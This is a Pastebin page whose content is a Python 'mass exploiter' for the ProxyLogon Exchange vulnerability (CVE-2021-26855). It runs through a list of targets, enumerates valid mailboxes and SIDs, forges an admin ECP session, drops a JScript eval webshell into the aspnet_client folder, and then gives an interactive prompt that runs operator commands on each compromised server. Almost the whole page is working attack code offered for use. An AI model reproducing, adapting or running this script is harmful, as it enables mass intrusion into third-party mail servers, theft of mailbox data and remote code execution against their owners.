ToKeiChun

(ditrycode version) SSRF to Arbitrary File Write (Proxylogon) Mass Exploiter

Mar 14th, 2021 (edited)
864
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # Reference : https://github.com/Udyz/Proxylogon/ | https://github.com/0xmahmoudJo0/Check_Emails_For_CVE_2021_26855/
  2. # you need to download users list from this url : https://raw.githubusercontent.com/0xmahmoudJo0/Check_Emails_For_CVE_2021_26855/main/users.txt
  3. import requests
  4. from urllib3.exceptions import InsecureRequestWarning
  5. import random
  6. import string
  7. import sys
  8. import os
  9. import time
  10. import webbrowser
  11. import re
  12. from requests.packages.urllib3.exceptions import InsecureRequestWarning
  13. requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  14. import tldextract
  15.  
  16. def rmsub(text):
  17.     return tldextract.extract(text).registered_domain
  18. def exploit(url):
  19.     try:
  20.         print('[*] Target: %s'%url)
  21.         server = 'https://'+ url + '/owa/auth.owa'
  22.         s = requests.Session()
  23.         req = s.post(server, verify=False,timeout=15)
  24.         if not req.status_code == 400:
  25.             print('[-] Cant get FQDN!')
  26.             exit(0)
  27.         server_name = req.headers["X-FEServer"]
  28.         print('(*) Getting FQDN Name: %s'%(server_name))
  29.         path_maybe_vuln = '/ecp/ssrf.js'
  30.         headers = {
  31.         'User-Agent': 'Hello-World',
  32.         'Cookie': 'X-BEResource={FQDN}/EWS/Exchange.asmx?a=~1942062522;'.format(FQDN=server_name),
  33.         'Connection': 'close',
  34.         'Content-Type': 'text/xml',
  35.         'Accept-Encoding': 'gzip'
  36.         }
  37.         payload = """<?xml version="1.0" encoding="utf-8"?>
  38.                     <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  39.                     xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
  40.                     xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
  41.                     xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  42.                         <soap:Body>
  43.                             <m:GetFolder>
  44.                                 <m:FolderShape>
  45.                                     <t:BaseShape>Default</t:BaseShape>
  46.                                 </m:FolderShape>
  47.                                 <m:FolderIds>
  48.                                     <t:DistinguishedFolderId Id="inbox">
  49.                                         <t:Mailbox>
  50.                                             <t:EmailAddress>admin@domain.tld</t:EmailAddress>
  51.                                         </t:Mailbox>
  52.                                     </t:DistinguishedFolderId>
  53.                                 </m:FolderIds>
  54.                             </m:GetFolder>
  55.                         </soap:Body>
  56.                     </soap:Envelope>
  57.         """
  58.         reqs = s.post('%s/%s' %('https://'+ url,path_maybe_vuln),headers=headers,data=payload, verify=False,timeout=15)
  59.         if reqs.status_code == 200:
  60.             print('(+) Target is Vuln to SSRF [CVE-2021-26855]!')
  61.             print('(*) Getting Information Server')
  62.             print('(+) Computer Name = %s'%reqs.headers["X-DiagInfo"])
  63.             print('(+) Domain Name = %s'%reqs.headers["X-CalculatedBETarget"].split(',')[1])
  64.             print('(+) Guest SID = %s'%reqs.headers["Set-Cookie"].split('X-BackEndCookie=')[1].split(';')[0])
  65.             print('(*) Find valid mail from users list')
  66.             u_m = reqs.headers["X-CalculatedBETarget"].split(',')[1]
  67.             f = open('users.txt').read().splitlines()
  68.             print('+ %s' %reqs.headers["X-CalculatedBETarget"].split(',')[1])
  69.             X = rmsub(reqs.headers["X-CalculatedBETarget"].split(',')[1])
  70.             for u in f:
  71.                 domainstr = tldextract.extract(u_m)
  72.                 domain = "{}.{}".format(domainstr.domain, domainstr.suffix)
  73.                 user = u
  74.                 if ('local' in u_m):
  75.                     domain = '%s.local'%reqs.headers["X-CalculatedBETarget"].split(',')[1].split('.')[1]
  76.                 elif X == '':
  77.                     domainstr = tldextract.extract(u_m)
  78.                     domain = "{}.{}".format(domainstr.domain, domainstr.suffix)
  79.                 else:
  80.                     domain = X
  81.                 mail = '{user}@{domain}'.format(user=user, domain=domain)
  82.                 mailnum = '''<?xml version="1.0" encoding="utf-8"?>
  83.                     <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  84.                     xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
  85.                     xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
  86.                     xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  87.                         <soap:Body>
  88.                             <m:GetFolder>
  89.                                 <m:FolderShape>
  90.                                     <t:BaseShape>Default</t:BaseShape>
  91.                                 </m:FolderShape>
  92.                                 <m:FolderIds>
  93.                                     <t:DistinguishedFolderId Id="inbox">
  94.                                         <t:Mailbox>
  95.                                             <t:EmailAddress>{mail}</t:EmailAddress>
  96.                                         </t:Mailbox>
  97.                                     </t:DistinguishedFolderId>
  98.                                 </m:FolderIds>
  99.                             </m:GetFolder>
  100.                         </soap:Body>
  101.                     </soap:Envelope>
  102.                 '''.format(mail=mail)
  103.                 mail_valid = ''
  104.                 reqx = s.post('%s/%s' %('https://'+ url,path_maybe_vuln),headers=headers,data=mailnum, verify=False)
  105.                 if '<m:ResponseCode>NoError</m:ResponseCode>' in reqx.text:
  106.                     xmlstr = """{data}""".format(data=reqx.text)
  107.                     total_count = re.findall('(?:<t:TotalCount>)(.+?)(?:</t:TotalCount>)', xmlstr)
  108.                     print('-'*35)
  109.                     print('(+) %s | Total Inbox = %s'%(mail,total_count[0]))
  110.                     mail_valid = mail
  111.                     open('validmail.txt', 'a').write(url+'|'+mail_valid+'\n')
  112.                     return mail_valid, True
  113.                 elif 'Access is denied. Check credentials and try again' in reqx.text:
  114.                     print('-'*35)
  115.                     print('(+) %s | Valid Mail!'%(mail))
  116.                     mail_valid = mail
  117.                     open('validmail.txt', 'a').write(url+'|'+mail_valid+'\n')
  118.                     return mail_valid, True
  119.                 else:
  120.                     print('(-) %s | Invalid mail'%(mail))
  121.                 headers_for_audio = {
  122.                 "User-Agent": "Hello-World",
  123.                 "Cookie": "X-BEResource={FQDN}/autodiscover/autodiscover.xml?a=~1942062522;".format(FQDN=server_name),
  124.                 "Connection": "close",
  125.                 "Content-Type": "text/xml"
  126.                 }
  127.                 autodiscover_payload = '''
  128.                 <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
  129.                 <Request>
  130.                   <EMailAddress>{mail}</EMailAddress>
  131.                   <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
  132.                 </Request>
  133.             </Autodiscover>
  134.                 '''.format(mail=mail_valid)
  135.                 r3q = s.post('%s/%s'%('https://'+ url,path_maybe_vuln), headers=headers_for_audio, data=autodiscover_payload, verify=False)
  136.                 if 'DisplayName' in r3q.text:
  137.                     txtstr = """%s"""%(r3q.text)
  138.                     display_name = re.findall('(?:<DisplayName>)(.+?)(?:</DisplayName>)', txtstr)
  139.                     legacyDN = re.findall('(?:<LegacyDN>)(.+?)(?:</LegacyDN>)', txtstr)
  140.                     server = r3q.text.split('<Server>')[1].split('</Server>')[0]
  141.                     groupname = re.findall('(?:<GroupingInformation>)(.+?)(?:</GroupingInformation>)', txtstr)
  142.                     mapi_body = legacyDN[0] + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
  143.                     mapireq = requests.post("https://"+"%s/%s" % (url,path_maybe_vuln), headers={
  144.                         "Cookie": "X-BEResource=Admin@%s:444/mapi/emsmdb?MailboxId=%s&a=~1942062522;" %(server_name, server),
  145.                         "Content-Type": "application/mapi-http",
  146.                         "X-Requesttype": "Connect",
  147.                         "X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
  148.                         "X-Clientapplication": "Outlook/15.0.4815.1002",
  149.                         "X-Requestid": "{C715155F-2BE8-44E0-BD34-2960067874C8}:2",
  150.                         "User-Agent": "Hello-World"
  151.                         },
  152.                         data=mapi_body,
  153.                         verify=False
  154.                     )
  155.                     try:
  156.                         if mapireq.status_code != 200 or "act as owner of a UserMailbox" not in mapireq.text:
  157.                             print('(+) Display Name = %s' %display_name[0])
  158.                             print('(+) Group Name = %s'%groupname[0])
  159.                             print('(+) Group Member = %s'%legacyDN[0].split('/ou=')[1].split('/cn=')[0])
  160.                             print('-'*35)
  161.                         else:
  162.                             sid = mapireq.text.split("with SID ")[1].split(" and MasterAccountSid")[0]
  163.                             print('(+) Display Name = %s' %display_name[0])
  164.                             print('(+) Group Name = %s'%groupname[0])
  165.                             print('(+) Group Member = %s'%legacyDN[0].split('/ou=')[1].split('/cn=')[0])
  166.                             print('(+) User SID = %s'%sid)
  167.                             print('-'*35)
  168.                     except IndexError:
  169.                             print('(+) Display Name = %s' %display_name[0])
  170.                             print('(+) Group Name = %s'%groupname[0])
  171.                             print('(+) Group Member = %s'%legacyDN[0].split('/ou=')[1].split('/cn=')[0])
  172.                             print('-'*35)
  173.            
  174.         else:
  175.             print('(-) Target is not Vuln to SSRF [CVE-2021-26855]!')
  176.     #except Exception as e:
  177.         #print(e)
  178.         #pass
  179.     except(requests.ConnectionError, requests.ConnectTimeout, requests.ReadTimeout) as e:
  180.         print(e)
  181.         pass
  182. def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
  183.     return ''.join(random.choice(chars) for _ in range(size))
  184.  
  185. if len(sys.argv) < 2:
  186.     print("Usage: python3 %s <target> <email>"%sys.argv[0])
  187.     print("Example: python3 %s mail.evil.corp root@evil.corp"%sys.argv[0])
  188.     exit()
  189. lists = open(sys.argv[1], 'r').read().splitlines()
  190. for targets in lists:
  191.     requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
  192.     target = targets
  193.     try:
  194.         outputs = exploit(target)
  195.         if outputs[1] == True:
  196.             email = outputs[0]
  197.             open('validmail.txt', 'a').write(target+"|"+email+"\n")
  198.             shell_name = "PG173729819CF.aspx"
  199.             random_name = id_generator(3) + ".js"
  200.             user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
  201.            
  202.             shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\aspnet_client\\%s" % shell_name
  203.             shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path
  204.             shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["exec_code"],"unsafe");}</script>'
  205.            
  206.             autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
  207.                 <Request>
  208.                   <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
  209.                 </Request>
  210.             </Autodiscover>
  211.             """ % email
  212.            
  213.             print("Attacking target " + target + " with email :" + email)
  214.             print("=============================")
  215.            
  216.             FQDN = "EXCHANGE"
  217.             ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
  218.                                                                                     "User-Agent": user_agent},
  219.                               verify=False)
  220.             if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
  221.                 FQDN = ct.headers["X-FEServer"]
  222.            
  223.             ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
  224.                 "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
  225.                 "Content-Type": "text/xml",
  226.                 "User-Agent": user_agent},
  227.                                data=autoDiscoverBody,
  228.                                verify=False
  229.                                )
  230.             if "<LegacyDN>" not in ct.text and "<Server>" not in ct.text:
  231.                 print("Can not get LegacyDN!")
  232.                 pass
  233.            
  234.             legacyDn = ct.text.split("<LegacyDN>")[1].split("</LegacyDN>")[0]
  235.             mailboxid = ct.text.split('<Server>')[1].split('</Server>')[0]
  236.             print("Got DN: " + legacyDn)
  237.             legacyUTF8 = legacyDn.encode("utf-8")
  238.             mapi_body = legacyUTF8 + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
  239.            
  240.             ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
  241.                 "Cookie": "X-BEResource=Admin@%s:444/mapi/emsmdb?MailboxId=%s&a=~1942062522;" % (FQDN, mailboxid),
  242.                 "Content-Type": "application/mapi-http",
  243.                 "X-Requesttype": "Connect",
  244.                 "X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
  245.                 "X-Clientapplication": "Outlook/15.0.4815.1002",
  246.                 "X-Requestid": "{C715155F-2BE8-44E0-BD34-2960067874C8}:500",
  247.                 "User-Agent": user_agent
  248.             },
  249.                                data=mapi_body,
  250.                                verify=False
  251.                                )
  252.             if "and MasterAccountSid" not in ct.text or "act as owner of a UserMailbox" not in ct.text:
  253.                 print("Mapi Error!")
  254.                 pass
  255.            
  256.             sid = ct.text.split("with SID ")[1].split(" and MasterAccountSid")[0]
  257.            
  258.             print("Got SID: " + sid)
  259.            
  260.             proxyLogon_request = '<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>' % sid
  261.            
  262.             ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
  263.                 "Cookie": "X-BEResource=Admin@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
  264.                 "Content-Type": "text/xml",
  265.                 "User-Agent": user_agent
  266.             },
  267.                                data=proxyLogon_request,
  268.                                verify=False
  269.                                )
  270.             if "set-cookie" not in ct.headers:
  271.                 print("Proxylogon Error!")
  272.                 pass
  273.            
  274.             sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0]
  275.             msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]
  276.             print("Got session id: " + sess_id)
  277.             print("Got canary: " + msExchEcpCanary)
  278.            
  279.             ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={
  280.                 "Cookie": "X-BEResource=Admin@%s:444/ecp/about.aspx?a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
  281.                     FQDN, sess_id, msExchEcpCanary),
  282.                 "User-Agent": user_agent
  283.             },
  284.                               verify=False
  285.                               )
  286.             if ct.status_code != 200:
  287.                 print("Wrong canary!")
  288.                 print("Sometime we can skip this ...")
  289.             rbacRole = ct.text.split("RBAC roles:</span> <span class='diagTxt'>")[1].split("</span>")[0]
  290.  
  291.             print("=========== It means good to go!!!====")
  292.            
  293.             ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
  294.                 "Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
  295.                     FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
  296.                 "Content-Type": "application/json; charset=utf-8",
  297.                 "User-Agent": user_agent
  298.            
  299.             },
  300.                                json={"filter": {
  301.                                    "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
  302.                                                   "SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}},
  303.                                verify=False
  304.                                )
  305.             if ct.status_code != 200:
  306.                 print("GetOAB Error!")
  307.             oabId = ct.text.split('"RawIdentity":"')[1].split('"')[0]
  308.             print("Got OAB id: " + oabId)
  309.            
  310.             oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
  311.                         "properties": {
  312.                             "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
  313.                                            "ExternalUrl": "http://ffff/#%s" % shell_content}}}
  314.            
  315.             ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
  316.                 "Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
  317.                     FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
  318.                 "Content-Type": "application/json; charset=utf-8",
  319.                 "User-Agent": user_agent
  320.             },
  321.                                json=oab_json,
  322.                                verify=False
  323.                                )
  324.             if ct.status_code != 200:
  325.                 print("Set external url Error!")
  326.                 pass
  327.            
  328.             reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
  329.                               "properties": {
  330.                                   "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
  331.                                                  "FilePathName": shell_absolute_path}}}
  332.            
  333.             ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
  334.                 "Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
  335.                     FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
  336.                 "Content-Type": "application/json; charset=utf-8",
  337.                 "User-Agent": user_agent
  338.             },
  339.                                json=reset_oab_body,
  340.                                verify=False
  341.                                )
  342.            
  343.             if ct.status_code != 200:
  344.                 print("Write Shell Error!")
  345.                 pass
  346.             print('(+) Webshell drop at https://%s/aspnet_client/%s .. Have fun!'%(target, shell_name))
  347.             print('(+) Enjoy your shell: curl -ik https://%s/aspnet_client/%s -d \'exec_code=Response.Write(new ActiveXObject("WScript.Shell").exec("cmd /c whoami").stdout.readall())\''%(target, shell_name))
  348.             open('shell_created.txt', 'a').write('https://'+target+'/aspnet_client/'+shell_name+'\n')
  349.             time.sleep(2)
  350.             while True:
  351.                 cmd = input('CMD: ')
  352.                 shell_body_exec = '''exec_code=Response.Write(new ActiveXObject("WScript.Shell").exec("cmd /c %s").stdout.readall())'''%cmd
  353.                 shell_req = requests.post('https://%s/aspnet_client/%s'%(target, shell_name),headers={'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': user_agent},data=shell_body_exec,verify=False)
  354.         else:
  355.             print('[-]'+target+' - Not Vulnerable')
  356.     except Exception as e:
  357.         print("Error: %s") % e
RAW Paste Data